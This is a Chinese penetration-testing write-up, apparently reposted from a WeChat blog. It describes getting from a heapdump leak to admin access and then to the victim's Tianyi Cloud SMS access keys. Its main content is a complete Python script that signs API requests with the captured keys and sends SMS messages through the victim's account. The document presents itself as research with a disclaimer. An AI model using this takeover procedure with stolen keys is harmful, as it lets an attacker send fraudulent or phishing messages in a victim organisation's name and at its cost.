正文部分
渗透路径
渗透路径概述
通过js发现测试环境 --> 转到测试环境测试 --> 获取heapdump敏感信息 --> 获得数据库口令 --> 成果获取管理员权限 --> 获取云短信服务AKSK --> 实现云短信接管
前面的流程都较为常规,在网上没咋看到关于云短信服务接管的内容,这里主要记录一下云短信服务如何接管
天翼云短信服务接管
发现aksk
通过heapdump翻数据库获取后台权限,后台访问发现aksk
确认云服务平台
Burp进行接口抓取发现平台
天翼云接管
通过接口文档获取到天翼云的利用方式
https://www.ctyun.cn/document/10020426/10021496
https://www.ctyun.cn/document/10020426/10021549#p-44f09a91df48de4f
利用下面的python代码实现接管,输入ak,sk,对应的签名,还有想要发送的号码即可
# -*- coding: utf8 -*-
import requests
import json
import hashlib
import base64
import hmac
import datetime
import uuid
METHOD_GET ='GET'
METHOD_POST ='POST'
#1.请填写您的AK,SK,请注意保密
AK ='****'# 云通信控制台-》个人中心-》安全设置-》用户AccessKey,点击查看将AccessKey填入AK,
SK ='****'# 云通信控制台-》个人中心-》安全设置-》用户AccessKey,点击查看将SecurityKey填入SK,
#2.第二步请看文档末尾
defhmac_sha256(secret, data):
secret =bytearray(secret)
data =bytearray(data)
return hmac.new(secret, data, digestmod=hashlib.sha256).digest()
defbase64_of_hmac(data):
return base64.b64encode(data)
defget_request_uuid():
returnstr(uuid.uuid1())
defget_sorted_str(data):
"""
鉴权用的参数整理
:param data: dict 需要整理的参数
:return: str
"""
sorted_data =sorted(data.items(), key=lambda item: item[0])
str_list =map(lambda x, y:'%s=%s'%(x, y), sorted_data)
return'&'.join(str_list)
defbuild_sign(query_params, body_params, eop_date, request_uuid):
"""
计算鉴权字段
:param query_params: dict get请求中的参数
:param body_params: dict post请求中的参数
:param eop_date: str 请求时间,格式为:'%Y%m%dT%H%M%SZ'
:return: str
"""
body_str = json.dumps(body_params)if body_params else''
body_digest = hashlib.sha256(body_str.encode('utf-8')).hexdigest()
# 请求头中必要的两个参数
header_str ='ctyun-eop-request-id:%sneop-date:%sn'%(
request_uuid, eop_date)
# url中的参数,或get参数
# query_str = get_sorted_str(query_params)
signature_str ='%sn%sn%s'%(header_str,"", body_digest)
print_log(repr('signature_str is: %s'% signature_str))
sign_date = eop_date.split('T')[0]
# 计算鉴权密钥
k_time = hmac_sha256(SK.encode(), eop_date.encode())
k_ak = hmac_sha256(k_time, AK.encode())
k_date = hmac_sha256(k_ak, sign_date.encode())
signature_base64 = base64_of_hmac(
hmac_sha256(k_date, signature_str.encode())).decode()
# 构建请求头的鉴权字段值
sign_header ='%s Headers=ctyun-eop-request-id;eop-date Signature=%s'%(
AK, signature_base64)
return sign_header
defget_sign_headers(query_params, body):
"""
获取鉴权用的请求头参数
:param query_params: dict get请求中的参数
:param body: dict post请求中的参数
:return:
"""
now = datetime.datetime.now()
eop_date = datetime.datetime.strftime(now,'%Y%m%dT%H%M%SZ')
request_uuid = get_request_uuid()
headers ={# 三个鉴权用的参数
'eop-date': eop_date,
'ctyun-eop-request-id': request_uuid,
'Eop-Authorization': build_sign(query_params="", body_params=body, eop_date=eop_date, request_uuid=request_uuid),
# 'Eop-Authorization': 'abc',
"user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.82"
}
return headers
defget(url, params=None, header_params=None):
return execute(url, method=METHOD_GET, params=params, header_params=header_params)
defpost(url, params=None, header_params=None):
return execute(url, method=METHOD_POST, params=params, header_params=header_params)
defexecute(url, method, params=None, header_params=None):
params = params or{}
header_params = header_params or{}
query_params, body =(params,{})if method == METHOD_GET else({}, params)
headers = get_sign_headers(query_params, body)
headers.update(header_params)
print_log(u'url: %s'% url)
print_log(u'请求方式: %s'% method)
print_log(u'请求头: %s'% headers)
print_log(u'请求参数: %s'% params)
if method == METHOD_GET:
res = requests.get(url, params=params, headers=headers, verify=False)
else:
if params:
res = requests.post(
url, json=params, headers=headers, verify=False)
else:
res = requests.post(
url, data=params, headers=headers, verify=False)
print_log(u'返回状态码: %s'% res.status_code)
print_log(u'返回: %s'% res.text)
return res
defprint_log(log_info):
now = datetime.datetime.now()
log_info =u'[%s]: %s'%(str(now), log_info)
print(log_info)
#2.请参考帮助文档,填入以下参数:
#https://www.ctyun.cn/document/10020426/10021544
params ={
'action':"SendSms",#以发送短信为例
'signName':'***',#请传入您在控制台已经申请并通过的 短信签名 例如'云通信',该签名只做示例不可用。
'phoneNumber':'***',#请传入用来接收短信的手机号,多个手机号请用 英文逗号 分隔
'templateCode':'***',#请传入您在控制台已经申请并通过的 短信模板,SMS64124870510为测试专用无需申请,可直接使用。
'templateParam':'{"code":"123456"}',#请传入短信模板的参数,左侧数据为册数模板的参数,可直接使用
#'extendCode':
#'sessionId':
}
post('https://sms-global.ctapi.ctyun.cn/sms/api/v1',params=params)
成功接管发送
原文始发于微信公众号(fkalis):【项目实战技巧】不一样的云接管,云短信服务如何接管!记一次项目中的天翼云短信接管
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论